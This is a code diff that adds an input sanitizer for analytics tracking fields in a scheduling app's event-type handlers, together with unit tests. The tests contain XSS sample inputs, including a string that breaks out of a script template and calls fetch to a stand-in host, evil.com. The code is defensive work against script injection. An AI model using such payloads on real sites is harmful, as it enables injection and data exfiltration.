diff --git a/packages/app-store/_utils/sanitize-analytics-value.test.ts b/packages/app-store/_utils/sanitize-analytics-value.test.ts
new file mode 100644
index 00000000000000..52e7c4e094268d
--- /dev/null
+++ b/packages/app-store/_utils/sanitize-analytics-value.test.ts
@@ -0,0 +1,67 @@
+import { describe, expect, it } from "vitest";
+
+import { sanitizeAnalyticsApps } from "./sanitize-analytics-value";
+
+describe("sanitizeAnalyticsApps", () => {
+ it("passes through valid GA4 tracking ID", () => {
+ const metadata = { apps: { ga4: { enabled: true, trackingId: "G-ABC123XYZ" } } };
+ sanitizeAnalyticsApps(metadata);
+ expect(metadata.apps.ga4.trackingId).toBe("G-ABC123XYZ");
+ });
+
+ it("passes through valid GTM tracking ID", () => {
+ const metadata = { apps: { gtm: { enabled: true, trackingId: "GTM-ABCDEF" } } };
+ sanitizeAnalyticsApps(metadata);
+ expect(metadata.apps.gtm.trackingId).toBe("GTM-ABCDEF");
+ });
+
+ it("passes through valid URL fields", () => {
+ const metadata = { apps: { plausible: { enabled: true, PLAUSIBLE_URL: "https://plausible.io/js/script.js" } } };
+ sanitizeAnalyticsApps(metadata);
+ expect(metadata.apps.plausible.PLAUSIBLE_URL).toBe("https://plausible.io/js/script.js");
+ });
+
+ it("strips XSS payload from trackingId", () => {
+ const metadata = { apps: { gtm: { enabled: true, trackingId: "GTM-');alert(1);//" } } };
+ sanitizeAnalyticsApps(metadata);
+ expect(metadata.apps.gtm.trackingId).toBe("GTM-alert1//");
+ });
+
+ it("strips full exfiltration payload", () => {
+ const payload = "GTM-');(async()=>{fetch('https://evil.com')})();//";
+ const metadata = { apps: { gtm: { enabled: true, trackingId: payload } } };
+ sanitizeAnalyticsApps(metadata);
+ expect(metadata.apps.gtm.trackingId).not.toContain("(");
+ expect(metadata.apps.gtm.trackingId).not.toContain("'");
+ expect(metadata.apps.gtm.trackingId).not.toContain("{");
+ });
+
+ it("strips HTML script tags", () => {
+ const metadata = { apps: { metapixel: { enabled: true, trackingId: "" } } };
+ sanitizeAnalyticsApps(metadata);
+ expect(metadata.apps.metapixel.trackingId).not.toContain("<");
+ expect(metadata.apps.metapixel.trackingId).not.toContain(">");
+ });
+
+ it("preserves empty strings", () => {
+ const metadata = { apps: { ga4: { enabled: true, trackingId: "" } } };
+ sanitizeAnalyticsApps(metadata);
+ expect(metadata.apps.ga4.trackingId).toBe("");
+ });
+
+ it("handles null metadata", () => {
+ expect(sanitizeAnalyticsApps(null)).toBeNull();
+ });
+
+ it("handles metadata without apps", () => {
+ const metadata = { bookerLayouts: {} };
+ sanitizeAnalyticsApps(metadata);
+ expect(metadata).toEqual({ bookerLayouts: {} });
+ });
+
+ it("ignores non-analytics apps", () => {
+ const metadata = { apps: { stripe: { enabled: true, price: 100 } } };
+ sanitizeAnalyticsApps(metadata);
+ expect(metadata.apps.stripe.price).toBe(100);
+ });
+});
diff --git a/packages/app-store/_utils/sanitize-analytics-value.ts b/packages/app-store/_utils/sanitize-analytics-value.ts
new file mode 100644
index 00000000000000..8c2f28e348c58f
--- /dev/null
+++ b/packages/app-store/_utils/sanitize-analytics-value.ts
@@ -0,0 +1,59 @@
+const SAFE_CHARS = /[^a-zA-Z0-9\-._/:]/g;
+
+const ANALYTICS_APPS = new Set([
+ "ga4",
+ "gtm",
+ "metapixel",
+ "fathom",
+ "plausible",
+ "posthog",
+ "umami",
+ "matomo",
+ "databuddy",
+ "insihts",
+ "twipla",
+]);
+
+// These fields get substituted into inline script templates via BookingPageTagManager's parseValue
+const TEMPLATE_FIELDS = [
+ "trackingId",
+ "trackingEvent",
+ "TRACKING_ID",
+ "TRACKING_EVENT",
+ "API_HOST",
+ "PLAUSIBLE_URL",
+ "SCRIPT_URL",
+ "SITE_ID",
+ "MATOMO_URL",
+ "CLIENT_ID",
+ "DATABUDDY_SCRIPT_URL",
+ "DATABUDDY_API_URL",
+];
+
+function sanitizeValue(value: unknown): string {
+ if (typeof value !== "string") return "";
+ return value.replace(SAFE_CHARS, "");
+}
+
+// Mutates metadata in place, sanitizing analytics app fields that are interpolated into script templates.
+// Generic return preserves the caller's type without requiring extra assertions.
+export function sanitizeAnalyticsApps(metadata: T): T {
+ if (!metadata || typeof metadata !== "object") return metadata;
+
+ const obj = metadata as Record;
+ if (!obj.apps || typeof obj.apps !== "object") return metadata;
+
+ const apps = obj.apps as Record>;
+
+ for (const [slug, appData] of Object.entries(apps)) {
+ if (!ANALYTICS_APPS.has(slug) || !appData || typeof appData !== "object") continue;
+
+ for (const field of TEMPLATE_FIELDS) {
+ if (field in appData && typeof appData[field] === "string" && appData[field] !== "") {
+ appData[field] = sanitizeValue(appData[field]);
+ }
+ }
+ }
+
+ return metadata;
+}
diff --git a/packages/trpc/server/routers/viewer/eventTypes/heavy/create.handler.ts b/packages/trpc/server/routers/viewer/eventTypes/heavy/create.handler.ts
index ef5252c5412ddf..d7977154e07add 100644
--- a/packages/trpc/server/routers/viewer/eventTypes/heavy/create.handler.ts
+++ b/packages/trpc/server/routers/viewer/eventTypes/heavy/create.handler.ts
@@ -1,4 +1,5 @@
import { getDefaultLocations } from "@calcom/app-store/_utils/getDefaultLocations";
+import { sanitizeAnalyticsApps } from "@calcom/app-store/_utils/sanitize-analytics-value";
import { DailyLocationType } from "@calcom/app-store/constants";
import { EventTypeRepository } from "@calcom/features/eventtypes/repositories/eventTypeRepository";
import type { PrismaClient } from "@calcom/prisma";
@@ -78,7 +79,7 @@ export const createHandler = async ({ ctx, input }: CreateOptions) => {
const data: Prisma.EventTypeCreateInput = {
...rest,
owner: teamId ? undefined : { connect: { id: userId } },
- metadata: (metadata as Prisma.InputJsonObject) ?? undefined,
+ metadata: (sanitizeAnalyticsApps(metadata) as Prisma.InputJsonObject) ?? undefined,
// Only connecting the current user for non-managed event types and non team event types
users: isManagedEventType || schedulingType ? undefined : { connect: { id: userId } },
locations,
diff --git a/packages/trpc/server/routers/viewer/eventTypes/heavy/duplicate.handler.ts b/packages/trpc/server/routers/viewer/eventTypes/heavy/duplicate.handler.ts
index 25f01b0ac4a2a7..94e079649677d2 100644
--- a/packages/trpc/server/routers/viewer/eventTypes/heavy/duplicate.handler.ts
+++ b/packages/trpc/server/routers/viewer/eventTypes/heavy/duplicate.handler.ts
@@ -1,3 +1,4 @@
+import { sanitizeAnalyticsApps } from "@calcom/app-store/_utils/sanitize-analytics-value";
import { EventTypeRepository } from "@calcom/features/eventtypes/repositories/eventTypeRepository";
import { generateHashedLink } from "@calcom/lib/generateHashedLink";
import { CalVideoSettingsRepository } from "@calcom/features/calVideoSettings/repositories/CalVideoSettingsRepository";
@@ -136,7 +137,7 @@ export const duplicateHandler = async ({ ctx, input }: DuplicateOptions) => {
durationLimits: durationLimits ?? undefined,
eventTypeColor: eventTypeColor ?? undefined,
customReplyToEmail: customReplyToEmail ?? undefined,
- metadata: metadata === null ? Prisma.DbNull : metadata,
+ metadata: metadata === null ? Prisma.DbNull : sanitizeAnalyticsApps(metadata),
bookingFields: eventType.bookingFields === null ? Prisma.DbNull : eventType.bookingFields,
rrSegmentQueryValue:
eventType.rrSegmentQueryValue === null ? Prisma.DbNull : eventType.rrSegmentQueryValue,
diff --git a/packages/trpc/server/routers/viewer/eventTypes/heavy/update.handler.ts b/packages/trpc/server/routers/viewer/eventTypes/heavy/update.handler.ts
index eaec37ccd7873f..5c033caae04f67 100644
--- a/packages/trpc/server/routers/viewer/eventTypes/heavy/update.handler.ts
+++ b/packages/trpc/server/routers/viewer/eventTypes/heavy/update.handler.ts
@@ -1,4 +1,5 @@
import type { appDataSchemas } from "@calcom/app-store/apps.schemas.generated";
+import { sanitizeAnalyticsApps } from "@calcom/app-store/_utils/sanitize-analytics-value";
import { DailyLocationType } from "@calcom/app-store/constants";
import { eventTypeAppMetadataOptionalSchema } from "@calcom/app-store/zod-utils";
import { CalVideoSettingsRepository } from "@calcom/features/calVideoSettings/repositories/CalVideoSettingsRepository";
@@ -225,7 +226,7 @@ export const updateHandler = async ({ ctx, input }: UpdateOptions) => {
isRRWeightsEnabled,
rrSegmentQueryValue:
rest.rrSegmentQueryValue === null ? Prisma.DbNull : (rest.rrSegmentQueryValue as Prisma.InputJsonValue),
- metadata: rest.metadata === null ? Prisma.DbNull : (rest.metadata as Prisma.InputJsonObject),
+ metadata: rest.metadata === null ? Prisma.DbNull : (sanitizeAnalyticsApps(rest.metadata) as Prisma.InputJsonObject),
eventTypeColor: eventTypeColor === null ? Prisma.DbNull : (eventTypeColor as Prisma.InputJsonObject),
// Only set disableGuests if bookingFields is explicitly provided to avoid overwriting existing value
...(bookingFields !== undefined && {